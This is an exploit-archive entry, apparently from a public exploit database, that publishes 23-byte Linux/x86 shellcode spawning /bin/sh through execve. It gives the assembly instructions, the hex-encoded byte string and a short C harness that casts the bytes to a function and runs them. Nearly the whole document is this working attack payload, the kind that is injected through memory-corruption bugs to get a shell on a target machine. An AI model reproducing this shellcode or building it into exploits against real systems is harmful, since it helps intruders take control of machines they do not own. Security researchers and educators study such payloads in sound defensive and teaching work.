Linux/x86 - execve /bin/sh shellcode 23 bytes



EKU-ID: 2853 CVE: OSVDB-ID:
Author: Hamza.Megahed Published: 2012-12-07 Verified: Verified
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*******************************************************
    *  Linux/x86 execve /bin/sh shellcode 23 bytes   *
    *******************************************************
    *	  	  Author: Hamza Megahed		            *
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    *             Twitter: @Hamza_Mega                       *
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    *     blog: hamza-mega[dot]blogspot[dot]com     *
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    *  E-mail: hamza[dot]megahed[at]gmail[dot]com  *
    *******************************************************

xor    %eax,%eax
push   %eax
push   $0x68732f2f
push   $0x6e69622f
mov    %esp,%ebx
mov    %eax,%ecx
mov    %eax,%edx
mov    $0xb,%al
int    $0x80

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#include <stdio.h>
 
char *shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
		   "\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80";
 
int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}